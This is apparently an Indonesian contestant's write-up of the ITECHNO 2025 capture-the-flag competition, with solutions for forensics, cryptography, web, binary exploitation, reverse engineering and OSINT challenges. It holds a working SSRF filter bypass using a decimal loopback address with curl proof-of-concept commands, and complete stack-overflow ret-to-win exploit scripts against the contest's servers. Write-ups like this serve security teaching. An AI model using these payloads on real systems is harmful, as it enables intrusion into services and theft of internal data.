# Write Up Capture The Flag ITECHNO 2025 TelSec - Peserta


**<center>Tyzals</center>**
**<center>Perkenalkan nama saya Bayu, izin dispensasi untuk perkuliahan hari ini dikarenakan kegiatan lomba cyber security di PNJ</center>**
**<center>Cyrus</center>**

---

Category

<a href="#Forensic"> Forensic </a>
* <a href="#3"> Ayo Cari Aku </a>
* <a href="#1"> EMYU </a>

<a href="#Cryptography"> Cryptography </a>
* <a href="#7"> Gaboleh Kasar </a>
* <a href="#8"> Fibonacci Lock </a>

<a href="#Web"> Web </a>
* <a href="#10"> Web Dadakan </a>
* <a href="#9"> Path Doang Mah Kureng </a>

<a href="#PWN"> PWN </a>
* <a href="#27"> PWN Sedikit Ramah </a>
* <a href="#24"> PWN Baik </a>

<a href="#FREE"> FREE </a>
* <a href="#28"> FREE FLAG </a>

<a href="#Reverse-Engineering"> Reverse Engineering </a>
* <a href="#29"> Persatuan I - Mono </a>

<a href="#OSINT"> OSINT </a>
* <a href="#19"> Stalker 1 </a>
* <a href="#21"> Stalker 2 </a>
* <a href="#32"> Stalker 4 </a>

## <a id=Forensic> Forensic </a>

### <center><a id="3"> Ayo Cari Aku </a></center>
<center>100</center>
<center></center>


dikasi gambar, langsung binwalk

ada beberapa file tapi saya nemu base64 banyak ini di strings README.docx

lempar GPT buat decrypt dan ternyata gambar

dan boom ini flagnya


**Flag : ITECHNO2025{Y4h_k3T4Hu4N}**

---

### <center><a id="1"> EMYU </a></center>
<center>304</center>
<center>Metadata Masih Work Kah?

https://drive.google.com/file/d/1Ep1xo0L9JHFJx-JVOUj5foS_qvzx0FOH/view?usp=sharing</center>



normal size is 720x1200, now change the height 720x1300 with imhex


and we got the flag.

Flag : ITECHNO2025{M4nch35t3R_I5_Blu333!!!!}

---

## <a id=Cryptography> Cryptography </a>

### <center><a id="7"> Gaboleh Kasar </a></center>
<center>100</center>
<center>Harus bertutur kata sopan</center>

#### 1) Recon & Identifikasi

Dari isi file tantangan (`Gabole_Kasar.txt`), terlihat hanya karakter:

+ - < > [ ] .  (dan beberapa pemisah baris)

Pola ini khas **Brainfuck**. Jadi, tahap pertama adalah mengeksekusi Brainfuck untuk melihat apa yang dihasilkan.

**Catatan:** Brainfuck sering dipakai untuk “menggulung” pesan menjadi layer lain (mis. ASCII, base64, atau—di sini—Morse).

---

#### 2) Eksekusi Brainfuck → keluar Morse

Setelah dieksekusi, program mencetak deretan **titik dan garis** (`.` dan `-`) yang dipisahkan **spasi** antar huruf dan **newline** antar kata—format standar **Morse ITU**.

Contoh potongan output (beberapa baris awal):

.. -. ..
-... .- -. ....
..-. .-.. .- --. -. -.-- .- --..--   ...

yang menterjemah menjadi:

INI
BANH
FLAGNYA,
...

---

#### 3) Decode Morse ke Teks

Kita lakukan pemetaan Morse → karakter (A–Z, 0–9, tanda baca umum seperti koma). Pemisah:

* **Spasi**: antar huruf
* **Newline**: antar kata/baris

Hasil penuh (baris per baris) setelah decoding:

INI
BANH
FLAGNYA,
GA
HOAK
KOK
BANH
:
ITECHNO2025Y4N9_S4TU_1NI_B4H4S4NYA_K4S4R_84N6ET,
JANGAN
LUPA
DIKASIH
KURUNG
KURAWAL
YAK

Kunci baris di atas adalah baris yang berisi **ITECHNO2025…**. Terlihat jelas ada “leet-speak”:

* `Y4N9` → *YANG*
* `S4TU` → *SATU*
* `1NI` → *INI* (pakai angka 1)
* `B4H4S4NYA` → *BAHASANYA*
* `K4S4R` → *KASAR*
* `84N6ET` → *BANGET*

Kalimat yang tersirat: “ITECHNO2025 YANG SATU INI BAHASANYA KASAR BANGET,” lalu ada instruksi **“JANGAN LUPA DIKASIH KURUNG KURAWAL YAK.”**

---

#### 4) Penyusunan Flag sesuai Format

Diberikan format **`ITECHNO2025{...}`**. Maka bagian setelah `ITECHNO2025` kita masukkan ke dalam kurung kurawal **tanpa** koma di ujung.

**Flag final:**

ITECHNO2025{Y4N9_S4TU_1NI_B4H4S4NYA_K4S4R_84N6ET}

---

#### 5) Skrip Verifikasi (Opsional)

Jika ingin memverifikasi sendiri, berikut skrip Python singkat untuk:

1. Menjalankan Brainfuck dari file
2. Mengubah output Morse menjadi teks
3. Menemukan baris yang berisi flag

> Jalankan di direktori yang sama dengan file `Gabole_Kasar.txt`.

# 1) Load Brainfuck code
with open("Gabole_Kasar.txt", "r", encoding="utf-8", errors="ignore") as f:
    code = ''.join(ch for ch in f.read() if ch in '><+-.,[]')

# 2) Brainfuck interpreter sederhana
def bf_interpret(code, input_data=""):
    tape = [0]*30000
    ptr = 0
    out = []
    ip = 0
    # Bracket map
    stack, jump = [], {}
    for i, c in enumerate(code):
        if c == '[': stack.append(i)
        elif c == ']':
            j = stack.pop()
            jump[i] = j
            jump[j] = i
    # Eksekusi
    while ip < len(code):
        c = code[ip]
        if c == '>': ptr += 1
        elif c == '<': ptr -= 1
        elif c == '+': tape[ptr] = (tape[ptr] + 1) % 256
        elif c == '-': tape[ptr] = (tape[ptr] - 1) % 256
        elif c == '.': out.append(chr(tape[ptr]))
        elif c == ',': tape[ptr] = 0
        elif c == '[' and tape[ptr] == 0: ip = jump[ip]
        elif c == ']' and tape[ptr] != 0: ip = jump[ip]
        ip += 1
    return ''.join(out)

morse = bf_interpret(code)

# 3) Decode Morse (spasi=huruf, newline=kata)
MORSE = {
    'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.',
    'G': '--.', 'H': '....', 'I': '..', 'J': '.---', 'K': '-.-', 'L': '.-..',
    'M': '--', 'N': '-.', 'O': '---', 'P': '.--.', 'Q': '--.-', 'R': '.-.',
    'S': '...', 'T': '-', 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-',
    'Y': '-.--', 'Z': '--..',
    '0': '-----', '1': '.----', '2': '..---', '3': '...--', '4': '....-',
    '5': '.....', '6': '-....', '7': '--...', '8': '---..', '9': '----.',
    ',': '--..--', '.': '.-.-.-', '?': '..--..', ':': '---...', '-': '-....-',
    '_': '..--.-', '/': '-..-.', '!': '-.-.--', "'": '.----.', '"': '.-..-.',
    '(': '-.--.', ')': '-.--.-', '=': '-...-', '+': '.-.-.', ';': '-.-.-.',
    '&': '.-...', '$': '...-..-', '@': '.--.-.'
}
REV = {v: k for k, v in MORSE.items()}

lines = []
for line in morse.strip().splitlines():
    chars = [REV.get(tok, '?') for tok in line.split() if tok]
    lines.append(''.join(chars))

print("\n".join(lines))

# 4) Ambil baris yang memuat ITECHNO2025
flag_line = next(l for l in lines if l.startswith("ITECHNO2025"))
core = flag_line[len("ITECHNO2025"):].rstrip(",")
flag = f"ITECHNO2025{{{core}}}"
print("FLAG:", flag)

**Flag : ITECHNO2025{Y4N9_S4TU_1NI_B4H4S4NYA_K4S4R_84N6ET}**

---

### <center><a id="8"> Fibonacci Lock </a></center>
<center>100</center>
<center>Matematika ilmu yg menyenangkan</center>

Diberikan ciphertext:

WVJJUMF2025{BXMOS0_S3VHLC4C6Y4H_G4K_NTO4I_C3K3}

Format flag: `ITECHNO2025{...}`.
Hint menyuruh kita mengambil:

* **Hill cipher** (2×2) dari Fibonacci: (\begin{pmatrix}F_6&F_5\F_4&F_3\end{pmatrix}=\begin{pmatrix}8&5\3&2\end{pmatrix}).
* **Affine cipher** per huruf dari Lucas dan fungsi tau: (L_5=11) dan (\tau(2025)=15).

Urutan enkripsi (dari plaintext → ciphertext) adalah:

1. Hill (per 2 huruf, huruf saja), lalu
2. Affine (per huruf),
sementara **non-alfabet (angka, underscore, kurung kurawal) tetap**.

Maka urutan **dekripsi** kita adalah **kebalikannya**:

1. Affine-inverse per huruf (untuk huruf saja),
2. Hill-inverse per 2 huruf (melewati non-huruf, tapi pairing huruf tetap berlanjut),
3. Non-huruf ditinggal apa adanya.

Hasil akhirnya:

ITECHNO2025{CRYPT0_M3NYEN4N6K4N_D4N_MUD4H_H3H3}

---

#### Rincian Teknis

##### 1) Kunci Hill dari Fibonacci

Matrix kunci:
[
A=\begin{pmatrix}8&5\3&2\end{pmatrix},\quad
\det(A)=8\cdot2-5\cdot3=1 \pmod{26}
]
Karena determinan = 1, invers di mod 26 adalah adjugate dari (A):
[
A^{-1}=\begin{pmatrix}2&-5\-3&8\end{pmatrix}\equiv
\begin{pmatrix}2&21\23&8\end{pmatrix}\ (\text{mod }26)
]

##### 2) Kunci Affine dari Lucas & (\tau)

* (a=L_5=11)
* (b=\tau(2025)=15) *(jumlah faktor positif 2025; memang 15)*

Enkripsi affine: (E(x)=(11x+15)\bmod26)
Dekripsi affine: (x=11^{-1},(y-15)\bmod26), dengan (11^{-1}\equiv 19\ (\text{mod }26)) karena (11\cdot19=209\equiv1).

##### 3) Pipeline Dekripsi

* **Alfabet** dipetakan (A=0,\dots,Z=25).
* **Langkah 1 (Affine-inverse per huruf):**
Untuk setiap huruf (y): (y' = 19,(y-15)\bmod26).
* **Langkah 2 (Hill-inverse per digraf):**
Ambil aliran huruf (abaikan digit/underscore/kurung), bentuk pasangan berurutan, lalu untuk vektor (\begin{pmatrix}p\q\end{pmatrix}) hitung
[
\begin{pmatrix}p'\q'\end{pmatrix} = A^{-1}\begin{pmatrix}p\q\end{pmatrix} \bmod 26
]
Non-huruf tetap di tempatnya; pairing huruf **melompati** non-huruf.
* **Langkah 3:** Konversi kembali ke huruf, gabungkan dengan non-huruf asli.

---

#### Verifikasi Cepat (contoh awal)

Cipher: `W V | J J | U M | F ...`

1. **Affine-inverse:**

* W(22) → (19,(22-15)=19\cdot7=133\equiv3) → D(3)
* V(21) → (19,(21-15)=19\cdot6=114\equiv10) → K(10)

2. **Hill-inverse** pada [D,K] = [3,10]:
[
\begin{aligned}
p' &= 2\cdot3 + 21\cdot10 = 216 \equiv 8 \ (\text{I})\
q' &= 23\cdot3 + 8\cdot10 = 149 \equiv 19\ (\text{T})
\end{aligned}
]
→ “IT”.
Pasangan berikut `J J` → “EC”, lalu `U M` → “HN”. Hasil awalan: **ITECHN…**, sesuai format `ITECHNO2025{...}`.

---

#### Script Referensi (Python)

> Hanya huruf [A-Z] yang diproses; lainnya dipertahankan. Pairing huruf berlanjut melewati non-huruf.

import string

alpha = string.ascii_uppercase
A2i = {c:i for i,c in enumerate(alpha)}
i2A = {i:c for c,i in A2i.items()}

# Hill inverse matrix mod 26
Ainv = [[2,21],
        [23,8]]
mod = 26

def inv_affine_char(ch):
    # return None kalau bukan huruf
    if ch not in A2i: return None
    y = A2i[ch]
    x = (19 * ((y - 15) % mod)) % mod  # 11^{-1}=19
    return i2A[x]

def hill_inverse_pair(p, q):
    # p,q huruf A-Z
    vp, vq = A2i[p], A2i[q]
    r0 = (Ainv[0][0]*vp + Ainv[0][1]*vq) % mod
    r1 = (Ainv[1][0]*vp + Ainv[1][1]*vq) % mod
    return i2A[r0], i2A[r1]

def decrypt(ct):
    # 1) Affine-inverse per huruf
    aff = []
    mask = []  # True jika huruf
    for ch in ct:
        if ch in A2i:
            aff.append(inv_affine_char(ch))
            mask.append(True)
        else:
            aff.append(ch)
            mask.append(False)
    # 2) Hill-inverse pada stream huruf (skip non-huruf, pairing berlanjut)
    letters = [c for c,m in zip(aff,mask) if m]
    out_letters = []
    i = 0
    while i < len(letters):
        a = letters[i]
        b = letters[i+1] if i+1 < len(letters) else 'X'  # jika ganjil, pad dengan X
        r0, r1 = hill_inverse_pair(a, b)
        out_letters.extend([r0, r1])
        i += 2
    # 3) Sisipkan kembali non-huruf
    res = []
    j = 0
    for m,ch in zip(mask, aff):
        if m:
            res.append(out_letters[j])
            j += 1
        else:
            res.append(ch)
    return ''.join(res)

ct = "WVJJUMF2025{BXMOS0_S3VHLC4C6Y4H_G4K_NTO4I_C3K3}"
pt = decrypt(ct)
print(pt)

Output:

ITECHNO2025{CRYPT0_M3NYEN4N6K4N_D4N_MUD4H_H3H3}

---

#### Catatan & Pitfall

* **Urutan operasi penting**: karena enkripsi adalah Hill → Affine, maka dekripsi wajib Affine-inverse → Hill-inverse.
* **Determinant 1** memudahkan invers Hill (selalu invertible mod 26).
* **Non-huruf** tidak ikut affine/Hill; **namun pairing huruf** tidak terputus oleh non-huruf.
* Jika jumlah huruf ganjil, tambahkan padding (mis. “X”) saat proses Hill; pada kasus ini aliran huruf genap, jadi aman.

---

**Flag : ITECHNO2025{CRYPT0_M3NYEN4N6K4N_D4N_MUD4H_H3H3}**

---

## <a id=Web> Web </a>

### <center><a id="10"> Web Dadakan </a></center>
<center>100</center>
<center>Web Belom Jadi, Bisa Lah Di Anuin

https://c-impromptu.itechnocup.id/</center>
pencet login dummy

keknya flagnya ada disitu

tinggal ganti deh rolenya ke superadmin

**Flag : ITECHNO2025{W3bs1te_1ni_D1bu4t_D4daKan}**

---

### <center><a id="9"> Path Doang Mah Kureng </a></center>
<center>496</center>
<center>Nge Dir path bang?, Ga cukup brok

https://c-path.itechnocup.id/</center>

---

#### Analisis Aplikasi (Client-Side)

Dari `index.html` dan `app.js`:

* Form kirim `POST /api/preview` dengan JSON: `{"u": "<url_target>"}`.
* Backend mem-fetch konten dan mengembalikan ringkasan ke UI.
* Tidak ada validasi di client-side selain required input; validasi terjadi di server.

Cuplikan penting `app.js`:

const resp = await fetch('/api/preview', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({ u: urlInput.value })
});

Artinya kita bisa menginstruksikan server agar mengakses **URL apa pun** yang ia bisa jangkau (termasuk jaringan internal/localhost) → indikasi klasik **SSRF**.

---

#### Hipotesis Filter Server

* Payload seperti `http://127.0.0.1.nip.io/…` atau `[::1]` → **diblock** (`"URL not allowed"`).
* Payload `http://2130706433/...` → **lolos** dan mengembalikan HTML index.
⇒ Besar kemungkinan filter hanya memeriksa **string** `127.0.0.1`, `localhost`, IPv6, dsb., **bukan** semua representasi IP.
IPv4 loopback dalam **decimal** tidak tertangkap regex/validator → celah **bypass**.

> Catatan: `2130706433` adalah representasi desimal dari 127.0.0.1
> Perhitungan: `127*256^3 + 0*256^2 + 0*256 + 1 = 2130706433`.

---

#### Eksploitasi

##### 1) Konfirmasi SSRF ke loopback

curl -sS 'https://c-path.itechnocup.id/api/preview' \
  -H 'Content-Type: application/json' \
  --data '{"u":"http://2130706433/"}'

Respon menunjukkan HTML index situs (berarti request dijalankan dari server ke loopback).

##### 2) Enumerasi path umum

Coba beberapa kandidat path internal (flag/env/health):

ENDPOINT='https://c-path.itechnocup.id/api/preview'
for p in /flag /flag.txt /.flag /admin/flag /api/flag /internal/flag /healthz / ; do
  curl -sS "$ENDPOINT" -H 'Content-Type: application/json' \
    --data "{\"u\":\"http://2130706433$p\"}"
done

##### 3) Hasil kunci

* `/internal/flag` memberikan:

{"ok":true,"flag":"ITECHNO2025{W3b_TR00o5Ss}"}

* `/healthz` mengembalikan `ok` (indikasi service hidup).
* Path lain mengembalikan HTML index (bukan flag).

##### 4) PoC minimal (single shot)

curl -sS 'https://c-path.itechnocup.id/api/preview' \
  -H 'Content-Type: application/json' \
  --data '{"u":"http://2130706433/internal/flag"}'


**Flag:** `ITECHNO2025{W3b_TR00o5Ss}` ✅

---

#### Mengapa Bypass Berhasil?

* Validator server kemungkinan berbasis **deny-list string**: `localhost`, `127.0.0.1`, `::1`, mungkin CIDR private umum.
* IP **integer notation** jarang di-sanitize, padahal banyak library HTTP (termasuk di backend populer) tetap akan mengonversinya ke loopback yang sama.
* Hasilnya, request SSRF diarahkan ke **127.0.0.1** tanpa terdeteksi.

---

**Flag : ITECHNO2025{W3b_TR00o5Ss}**

---

## <a id=PWN> PWN </a>

### <center><a id="27"> PWN Sedikit Ramah </a></center>
<center>100</center>
<center>Ramah Banget PWN Ini Sampe Dikasih Hint</center>

#### Recon

$ file chall
chall: ELF 32-bit LSB executable, Intel i386, dynamically linked, ... , not stripped

$ checksec --file=chall
Arch: i386-32-little
RELRO: Partial RELRO
Canary: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Strings menarik:

"DEBUG: win() is at %p"
"Welcome to PWN MEDIUM! Can you bypass me?"
"Give me your input:"
"Congrats! Here's your flag: %s"
"/flag"

#### Reversing singkat
- `win()`
- `f = fopen("/flag", "r")`; jika gagal → "Flag not found!" dan `exit(1)`.
- `fgets(buf, 0x64, f)` lalu `printf("Congrats! Here's your flag: %s", buf)` → `exit(0)`.
- `vuln()`
- Menampilkan banner, lalu memanggil `gets()` ke alamat ` [ebp-0x48]` (tanpa batasan ukuran).
- Epilog: `leave; ret`.

NX menyala, tapi karena No PIE, alamat `win()` statis di binary lokal. Pada remote, service memberi alamat dinamis langsung di banner: `DEBUG: win() is at 0xXXXXXXXX` sehingga kita bisa pakai alamat itu (lebih aman daripada asumsi alamat statis lokal).

#### Offset ke EIP
Dari disassembly:
- Prolog: `push ebp; mov ebp, esp; push ebx; sub esp, 0x44`
- Buffer dipakai di `[ebp-0x48]` → jarak ke `ret` di `[ebp+4]` adalah `0x4C = 76` byte.
Sehingga, untuk menimpa return address: 76 byte junk, lalu alamat `win()` (little‑endian).

#### Strategi Eksploitasi
- Baca banner, ambil alamat `win()` dari string `DEBUG`.
- Kirim payload: `b'A'*76 + p32(addr_win) + b'\n'`.
- Setelah `ret`, eksekusi lompat ke `win()` yang akan mencetak flag.

#### Eksekusi (Python sockets)

python3 - << 'PY'
import socket,sys,struct,re
h='195.154.94.231'; p=50150
s=socket.create_connection((h,p),timeout=8)
# Baca banner
banner=s.recv(4096).decode('latin1','ignore'); print(banner, end='')
# Ambil alamat win() dari banner
addr=int(re.search(r'0x[0-9a-fA-F]+', banner).group(0),16)
# Susun payload
payload=b'A'*76 + struct.pack('<I', addr) + b'\n'
s.sendall(payload)
# Baca output
s.settimeout(3)
try:
    while True:
        d=s.recv(4096)
        if not d: break
        print(d.decode('latin1','ignore'), end='')
except: pass
PY


#### Alternatif: Pwntools

from pwn import *
import re
io = remote('195.154.94.231', 50150)
banner = io.recvuntil(b'input:').decode()
addr = int(re.search(r'0x[0-9a-fA-F]+', banner).group(0), 16)
payload = b'A'*76 + p32(addr) + b'\n'
io.send(payload)
print(io.recvall(timeout=3).decode())

**Flag : ITECHNO2025{PWN_M3d1UM_k0k_Ga4mpan6}**

---

### <center><a id="24"> PWN Baik </a></center>
<center>356</center>
<center>Baik Banget Cuma Input Input (Kayaknya)</center>

Program menggunakan `gets()` ke buffer stack → kita overwrite saved EIP → ret-to-`win()` → flag keluar. Exploit: `A*76 + p32(0x08049276)`. Boom.

---

#### Recon singkat

* `file chall` → ELF 32-bit, not PIE
* `readelf -s` / `nm` → ada symbol `win`
* `strings` → pesan input dan clue "Admin Mode" / flag-print

---

#### Root cause

`vuln()` memanggil `gets()` ke buffer di stack. Buffer berada di `ebp-0x48` (72 bytes). Saved EIP ada di `ebp+4`, jadi jarak dari buffer-start ke saved EIP = `72 + 4 = 76` bytes → **offset = 76**.

Binary **tidak PIE**, jadi alamat `win()` statis: `0x08049276`.

---

#### Exploit idea

Tulis 76 byte padding (filler) lalu tulis alamat `win()` (little-endian) di tempat saved EIP. Karena `win()` mencetak flag, kita cukup redirect eksekusi ke sana.

Payload:
`"A"*76 + pack("<I", 0x08049276) + "\n"`

---

#### Exploit (langsung dipakai)

Tanpa pwntools:

#!/usr/bin/env python3
import socket, struct
HOST, PORT = "195.154.94.231", 50151
def p32(x): return struct.pack("<I", x)
payload = b"A"*76 + p32(0x08049276) + b"\n"
with socket.create_connection((HOST, PORT)) as s:
    print(s.recv(1024).decode(errors='replace'))  # banner
    s.sendall(payload)
    print(s.recv(4096).decode(errors='replace'))  # flag output

Dengan pwntools:

from pwn import *
r = remote("195.154.94.231", 50151)
r.sendline(b"A"*76 + p32(0x08049276))
print(r.recvall(timeout=2).decode())

---


**Flag : ITECHNO2025{Pwn_P_nya_Pembaik}**

---

## <a id=FREE> FREE </a>

### <center><a id="28"> FREE FLAG </a></center>
<center>100</center>
<center>ITECHNO2025{S3L4mat_M3nuna1kan_L0mb4_C3T3eP}</center>

**Flag : ITECHNO2025{S3L4mat_M3nuna1kan_L0mb4_C3T3eP}**

---

## <a id=Reverse-Engineering> Reverse Engineering </a>

### <center><a id="29"> Persatuan I - Mono </a></center>
<center>176</center>
<center>Mudah, andai kamu jago modding game Unity</center>

#### Ringkasan Tantangan

File: `Flagged.exe` (Unity, Mono)
Target: temukan flag dengan format `ITECHNO2025{...}`
Kendala: **`Assembly-CSharp.dll` tidak ada** di `Flagged_Data\Managed\`.

#### Gambaran Solusi

Walau `Assembly-CSharp.dll` biasanya berisi script game, proyek ini memakai **Assembly Definition (.asmdef)** sehingga kode kustom dikompilasi ke **DLL lain**: `Unity.HttpModule.dll`. Di dalamnya ada logika UI (TMP_InputField, Button.onClick) dan routine sederhana untuk menyandikan flag (base64 + XOR). Dengan mengekstrak blob base64 dan melakukan XOR dengan kunci, kita mendapatkan flag.

#### Langkah Lengkap

##### 1) Enumerasi Proyek

Struktur folder (penting):

Flagged.exe
Flagged_Data\
  Managed\
    Unity.HttpModule.dll   <-- kode kustom
    (banyak Unity/System *.dll)
  *.assets / *.resS
MonoBleedingEdge\

Kehadiran **MonoBleedingEdge** mengonfirmasi build **Mono** (bukan IL2CPP). Artinya kode C# tetap dalam bentuk DLL yang dapat didekompilasi.

##### 2) Kenapa `Assembly-CSharp.dll` Tidak Ada

Developer memakai **asmdef**; Unity tidak lagi membangun semua script ke `Assembly-CSharp.dll`, melainkan ke **nama DLL kustom**. Karena itu, fokuskan analisis pada DLL non-Unity/non-System—di sini **`Unity.HttpModule.dll`**.

Tips cepat (PowerShell) untuk menyorot DLL kustom:

Get-ChildItem "Flagged_Data\Managed\*.dll" |
  Where-Object { $_.Name -notmatch '^System|^mscorlib|^netstandard|^Mono\.Security|^Unity' } |
  Select-Object Name

##### 3) Statis: Buka `Unity.HttpModule.dll`

Alat: **dnSpy** atau **ILSpy**.
Cari referensi:

* `Button.get_onClick()`, `TMP_InputField`, `TMP_Text.set_text(string)`
* `Convert.FromBase64String`, `Encoding.UTF8.GetString`
* String mencurigakan seperti `flag`, `ctf`, `{`, `dGVjaG5v` (base64 untuk `"techno"`), dsb.

Hasil penting yang ditemukan:

* Ada **blob base64**:
`PTEmKyYhO1dTWlsUH1YNXB5bKxxXADEIRwg8AxswFlYEWQBeKwFTXAAECQ==`
* Ada kunci yang tersirat base64 **`dGVjaG5v`** → `"techno"`.
* Handler tombol memproses input/atau menyusun flag via **Base64 decode** lalu **XOR** per-byte dengan kunci tersebut.

> Catatan: Nama variabel/kelas bisa berbeda, namun pola panggilan API mengarah ke operasi **Base64 → XOR**.

##### 4) Dekode di Luar (lebih cepat)

Gunakan skrip Python untuk meniru logika:

import base64
cipher = base64.b64decode("PTEmKyYhO1dTWlsUH1YNXB5bKxxXADEIRwg8AxswFlYEWQBeKwFTXAAECQ==")
key = b"techno"
flag = bytes(c ^ key[i % len(key)] for i, c in enumerate(cipher)).decode()
print(flag)
# ITECHNO2025{k3n4p4_y4h_g3m_ku_b3g1n1_d04nk}

##### 5) (Alternatif) Patch & Dump di dnSpy

Jika ingin membuktikan runtime:

* Di method yang menghasilkan string akhir `flag`, tambahkan:

  using System.IO;
  using UnityEngine;
  File.WriteAllText(Path.Combine(Application.persistentDataPath, "flag.txt"), flag);
  Debug.Log("FLAG => " + flag);

* Build module, jalankan game, lalu cek:

  %USERPROFILE%\AppData\LocalLow\<Company>\<Product>\flag.txt

atau `Player.log` di folder yang sama.

##### 6) Cek Aset (opsional)

Bila kode tidak jelas, pakai **AssetStudioGUI/AssetRipper** pada `Flagged_Data` → filter **TextAsset/MonoBehaviour/TMP** dan cari `flag{`, `ITECHNO2025{`, dsb. Pada kasus ini tidak diperlukan karena dekripsi cukup.

### Hasil

Flag terdekripsi:

ITECHNO2025{k3n4p4_y4h_g3m_ku_b3g1n1_d04nk}

#### Catatan & Pelajaran

* **Mono + asmdef**: jika `Assembly-CSharp.dll` “hilang”, cari DLL kustom lain di `Managed\`.
* Pola umum obfuskasi CTF Unity ringan: **Base64**, **XOR** sederhana, kadang **ROT**/**RC4**/**AES** dengan kunci hard-coded.
* dnSpy sangat efektif: lihat handler `onClick` / `Start` / `Awake` atau apa pun yang menyentuh `TMP_InputField`/`TMP_Text`.

**Flag : ITECHNO2025{k3n4p4_y4h_g3m_ku_b3g1n1_d04nk}**

---

## <a id=OSINT> OSINT </a>

### <center><a id="19"> Stalker 1 </a></center>
<center>304</center>
<center>Tebak Arah Pulang Atmin

ITECHNO2025{NamaTempat_NamaUniversitas}</center>

Untung tadi pagi jalan lewat sini (tapi namanya disini PUSGIWA bukan SOR :<)


di bikun emang SOR sih, mengkesal

**Flag : ITECHNO2025{SOR_UniversitasIndonesia}**

---

### <center><a id="21"> Stalker 2 </a></center>
<center>436</center>
<center>Atmin Dan Probset Sedang Liburan, Coba Kepoin Dong

ITECHNO2025{NamaWarkop_NoTelp_Longitude_Latitude_@Instagram}

instagramnya sudah menghilang tapi masi bisa dicari</center>

Thankyouuuuuuuu GEMINIIIIII (Nyasar dikit tapi Kebon Ndalem Cafe gila sih)


**Flag : ITECHNO2025{WarmindoTuguCorner_0895321896803_-7.7825755_110.3670691_@warmindotugu}**

---

### <center><a id="32"> Stalker 4 </a></center>
<center>500</center>
<center>Nad dengan akun X barunya dapat fyp tentang RCE lama di sebuah akun berbagi ilmu bug bounty, lalu dia komentar di postingan tersebut, dan dia menuju ke report platform bug bounty yang ada di link postingan, karna penasaran Lembaga sebesar itu kenapa bisa terkena RCE.

cari tau akun barunya dan postingan X mana yang dimaksud serta tanggal report si hacker serta CVE nya

ITECHNO2025{@UsernameX_TanggalReport_IDCVE}

contoh format = "ITECHNO2025{@aanbcdss_October 8, 2022 8:32am UTC_CVE-2022-34912}"</center>

Disini saya menggunakan Grok AI karena Grok AI mempunyai seluruh data dari twitter, dengan prompt copy paste soal berseta hint hint nya saya mendapatkan user tersebut

-----

Username X : @Who5TH3Re
Tanggal Report : September 2, 2021, 2:58am UTC
CVE : CVE-2021-26084
Link CVE : https://hackerone.com/reports/1327701
Link Postingan : https://x.com/bountywriteups/status/1738477133511475551

**Flag : ITECHNO2025{@Who5TH3Re_September 2, 2021, 2:58am UTC_CVE-2021-26084}**

---